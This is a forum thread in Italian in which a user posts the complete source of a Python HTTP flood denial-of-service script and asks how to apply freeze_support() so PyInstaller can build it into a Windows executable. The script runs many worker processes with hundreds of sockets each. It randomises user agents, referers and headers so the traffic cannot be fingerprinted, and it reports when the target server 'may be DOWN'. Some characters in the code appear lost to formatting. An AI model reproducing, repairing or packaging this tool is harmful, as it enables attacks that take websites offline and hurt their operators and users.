Forum
>>
Programmazione Python
>>
Scripting
>>
aiuto per compilazione Win32 tramite PyInstaller
Pagina: 1
Esegui il login per scrivere una risposta.
Pagina: 1
|
Scritto da hackstunt |
2022-06-06 07:49:31 - aiuto per compilazione Win32 tramite PyInstaller
|
|
questo script:
from multiprocessing import Process, Manager, Pool
import urllib.parse, ssl
import sys, getopt, random, time, os
import http.client
HTTPCLIENT = http.client
####
# Config
####
DEBUG = False
SSLVERIFY = True
####
# Constants
####
METHOD_GET = 'get'
METHOD_POST = 'post'
METHOD_RAND = 'random'
JOIN_TIMEOUT = 1.0
DEFAULT_WORKERS = 10
DEFAULT_SOCKETS = 500
MYSCRIPT_BANNER = 'myscript'
USER_AGENT_PARTS = {
'os': {
'linux': {
'name': ['Linux x86_64', 'Linux i386'],
'ext': ['X11']
},
'windows': {
'name': ['Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2'],
'ext': ['WOW64', 'Win64; x64']
},
'mac': {
'name': ['Macintosh'],
'ext': ['Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10)]
},
},
'platform': {
'webkit': {
'name': ['AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30)],
'details': ['KHTML, like Gecko'],
'extensions': ['Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10)]
},
'iexplorer': {
'browser_info': {
'name': ['MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0'],
'ext_pre': ['compatible', 'Windows; U'],
'ext_post': ['Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10)]
}
},
'gecko': {
'name': ['Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30)],
'details': [],
'extensions': []
}
}
}
####
# MyScript Class
####
class MyScript(object):
# Counters
counter = [0, 0]
last_counter = [0, 0]
# Containers
workersQueue = []
manager = None
useragents = []
# Properties
url = None
# Options
nr_workers = DEFAULT_WORKERS
nr_sockets = DEFAULT_SOCKETS
method = METHOD_GET
def __init__(self, url):
# Set URL
self.url = url
# Initialize Manager
self.manager = Manager()
# Initialize Counters
self.counter = self.manager.list((0, 0))
def exit(self):
self.stats()
print("Shutting down")
def __del__(self):
self.exit()
def printHeader(self):
# Taunt!
print()
print(MYSCRIPT_BANNER)
print()
# Do the fun!
def fire(self):
self.printHeader()
print("Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets))
if DEBUG:
print("Starting {0} concurrent workers".format(self.nr_workers))
# Start workers
for i in range(int(self.nr_workers)):
try:
worker = Striker(self.url, self.nr_sockets, self.counter)
worker.useragents = self.useragents
worker.method = self.method
self.workersQueue.append(worker)
worker.start()
except Exception:
error("Failed to start worker {0}".format(i))
pass
if DEBUG:
print("Initiating monitor")
self.monitor()
def stats(self):
try:
if self.counter0 > 0 or self.counter1 > 0:
print("{0} MyScript strikes hit. ({1} Failed)".format(self.counter0, self.counter1))
if self.counter0 > 0 and self.counter1 > 0 and self.last_counter0 == self.counter0 and self.counter1 > self.last_counter1:
print("\tServer may be DOWN!")
self.last_counter0 = self.counter0
self.last_counter1 = self.counter1
except Exception:
pass # silently ignore
def monitor(self):
while len(self.workersQueue) > 0:
try:
for worker in self.workersQueue:
if worker is not None and worker.is_alive():
worker.join(JOIN_TIMEOUT)
else:
self.workersQueue.remove(worker)
self.stats()
except (KeyboardInterrupt, SystemExit):
print("CTRL+C received. Killing all workers")
for worker in self.workersQueue:
try:
if DEBUG:
print("Killing worker {0}".format(worker.name))
#worker.terminate()
worker.stop()
except Exception:
pass # silently ignore
if DEBUG:
raise
else:
pass
####
# Striker Class
####
class Striker(Process):
# Counters
request_count = 0
failed_count = 0
# Containers
url = None
host = None
port = 80
ssl = False
referers = []
useragents = []
socks = []
counter = None
nr_socks = DEFAULT_SOCKETS
# Flags
runnable = True
# Options
method = METHOD_GET
def __init__(self, url, nr_sockets, counter):
super(Striker, self).__init__()
self.counter = counter
self.nr_socks = nr_sockets
parsedUrl = urllib.parse.urlparse(url)
if parsedUrl.scheme == 'https':
self.ssl = True
self.host = parsedUrl.netloc.split(':')0
self.url = parsedUrl.path
self.port = parsedUrl.port
if not self.port:
self.port = 80 if not self.ssl else 443
self.referers = [
'http://www.google.com/',
'http://www.bing.com/',
'http://www.baidu.com/',
'http://www.yandex.com/',
'http://' + self.host + '/'
]
def __del__(self):
self.stop()
#builds random ascii string
def buildblock(self, size):
out_str = ''
_LOWERCASE = list(range(97, 122))
_UPPERCASE = list(range(65, 90))
_NUMERIC = list(range(48, 57))
validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
for i in range(0, size):
a = random.choice(validChars)
out_str += chr(a)
return out_str
def run(self):
if DEBUG:
print("Starting worker {0}".format(self.name))
while self.runnable:
try:
for i in range(self.nr_socks):
if self.ssl:
if SSLVERIFY:
c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
else:
c = HTTPCLIENT.HTTPSConnection(self.host, self.port, context=ssl._create_unverified_context())
else:
c = HTTPCLIENT.HTTPConnection(self.host, self.port)
self.socks.append(c)
for conn_req in self.socks:
(url, headers) = self.createPayload()
method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
conn_req.request(method.upper(), url, None, headers)
for conn_resp in self.socks:
resp = conn_resp.getresponse()
self.incCounter()
self.closeConnections()
except:
self.incFailed()
if DEBUG:
raise
else:
pass # silently ignore
if DEBUG:
print("Worker {0} completed run. Sleeping...".format(self.name))
def closeConnections(self):
for conn in self.socks:
try:
conn.close()
except:
pass # silently ignore
def createPayload(self):
req_url, headers = self.generateData()
random_keys = list(headers.keys())
random.shuffle(random_keys)
random_headers = {}
for header_name in random_keys:
random_headersheader name = headersheader name
return (req_url, random_headers)
def generateQueryString(self, ammount = 1):
queryString = []
for i in range(ammount):
key = self.buildblock(random.randint(3,10))
value = self.buildblock(random.randint(3,20))
element = "{0}={1}".format(key, value)
queryString.append(element)
return '&'.join(queryString)
def generateData(self):
returnCode = 0
param_joiner = "?"
if len(self.url) == 0:
self.url = '/'
if self.url.count("?") > 0:
param_joiner = "&"
request_url = self.generateRequestUrl(param_joiner)
http_headers = self.generateRandomHeaders()
return (request_url, http_headers)
def generateRequestUrl(self, param_joiner = '?'):
return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
def getUserAgent(self):
if self.useragents:
return random.choice(self.useragents)
# Mozilla/version ([system and browser information]) platform ([platform details]) extensions
## Mozilla Version
mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6
## System And Browser Information
# Choose random OS
os = USER_AGENT_PARTS['os'][random.choice(list(USER_AGENT_PARTS['os'].keys()))]
os_name = random.choice(os['name'])
sysinfo = os_name
# Choose random platform
platform = USER_AGENT_PARTS['platform'][random.choice(list(USER_AGENT_PARTS['platform'].keys()))]
# Get Browser Information if available
if 'browser_info' in platform and platform['browser_info']:
browser = platform['browser_info']
browser_string = random.choice(browser['name'])
if 'ext_pre' in browser:
browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)
sysinfo = "%s; %s" % (browser_string, sysinfo)
if 'ext_post' in browser:
sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))
if 'ext' in os and os['ext']:
sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))
ua_string = "%s (%s)" % (mozilla_version, sysinfo)
if 'name' in platform and platform['name']:
ua_string = "%s %s" % (ua_string, random.choice(platform['name']))
if 'details' in platform and platform['details']:
ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details']0 )
if 'extensions' in platform and platform['extensions']:
ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))
return ua_string
def generateRandomHeaders(self):
# Random no-cache entries
noCacheDirectives = ['no-cache', 'max-age=0']
random.shuffle(noCacheDirectives)
nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
noCache = ', '.join(noCacheDirectives[:nrNoCache])
# Random accept encoding
acceptEncoding = ['\'\'','*','identity','gzip','deflate']
random.shuffle(acceptEncoding)
nrEncodings = random.randint(1,int(len(acceptEncoding)/2))
roundEncodings = acceptEncoding[:nrEncodings]
http_headers = {
'User-Agent': self.getUserAgent(),
'Cache-Control': noCache,
'Accept-Encoding': ', '.join(roundEncodings),
'Connection': 'keep-alive',
'Keep-Alive': random.randint(1,1000),
'Host': self.host,
}
# Randomly-added headers
# These headers are optional and are
# randomly sent thus making the
# header count random and unfingerprintable
if random.randrange(2) == 0:
# Random accept-charset
acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
random.shuffle(acceptCharset)
http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset0, acceptCharset1,round(random.random(), 1), round(random.random(), 1))
if random.randrange(2) == 0:
# Random Referer
url_part = self.buildblock(random.randint(5,10))
random_referer = random.choice(self.referers) + url_part
if random.randrange(2) == 0:
random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))
http_headers['Referer'] = random_referer
if random.randrange(2) == 0:
# Random Content-Trype
http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
if random.randrange(2) == 0:
# Random Cookie
http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
return http_headers
# Housekeeping
def stop(self):
self.runnable = False
self.closeConnections()
self.terminate()
# Counter Functions
def incCounter(self):
try:
self.counter0 += 1
except Exception:
pass
def incFailed(self):
try:
self.counter1 += 1
except Exception:
pass
####
####
# Other Functions
####
def usage():
print()
print('-----------------------------------------------------------------------------------------------------------')
print()
print(MYSCRIPT_BANNER)
print()
print(' USAGE: ./myscript.py <url> OPTIONS')
print()
print(' OPTIONS:')
print('\t Flag\t\t\tDescription\t\t\t\t\t\tDefault')
print('\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)')
print('\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS))
print('\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS))
print('\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)')
print('\t -n, --nosslcheck\tDo not verify SSL Certificate\t\t\t\t(default: True)')
print('\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)')
print('\t -h, --help\t\tShows this help')
print()
print('-----------------------------------------------------------------------------------------------------------')
def error(msg):
# print help information and exit:
sys.stderr.write(str(msg+"\n"))
usage()
sys.exit(2)
####
# Main
####
def main():
try:
if len(sys.argv) < 2:
error('Please supply at least the URL')
url = sys.argv1
if url == '-h':
usage()
sys.exit()
if url[0:4].lower() != 'http':
error("Invalid URL supplied")
if url == None:
error("No URL supplied")
opts, args = getopt.getopt(sys.argv[2:], "ndhw:s:m:u:", ["nosslcheck", "debug", "help", "workers", "sockets", "method", "useragents" ])
workers = DEFAULT_WORKERS
socks = DEFAULT_SOCKETS
method = METHOD_GET
uas_file = None
useragents = []
for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit()
elif o in ("-u", "--useragents"):
uas_file = a
elif o in ("-s", "--sockets"):
socks = int(a)
elif o in ("-w", "--workers"):
workers = int(a)
elif o in ("-d", "--debug"):
global DEBUG
DEBUG = True
elif o in ("-n", "--nosslcheck"):
global SSLVERIFY
SSLVERIFY = False
elif o in ("-m", "--method"):
if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
method = a
else:
error("method {0} is invalid".format(a))
else:
error("option '"+o+"' doesn't exists")
if uas_file:
try:
with open(uas_file) as f:
useragents = f.readlines()
except EnvironmentError:
error("cannot read file {0}".format(uas_file))
myscript = MyScript(url)
myscript.useragents = useragents
myscript.nr_workers = workers
myscript.method = method
myscript.nr_sockets = socks
myscript.fire()
except getopt.GetoptError as err:
# print help information and exit:
sys.stderr.write(str(err))
usage()
sys.exit(2)
if __name__ == "__main__":
main()funziona perfettamente da Python su linux
ma da Python su Windows 32bit/64bit funziona male, e se lo compilo in Win32 tramite PyInstaller (da Windows 32bit) - poi in esecuzione ottengo il classico errore del multiprocessing con Windows, come posso risolvere?!? nel dettaglio come posso modifcare questo script applicando il fix "multiprocessing.freeze_support()"?!? |
Pagina: 1
Esegui il login per scrivere una risposta.
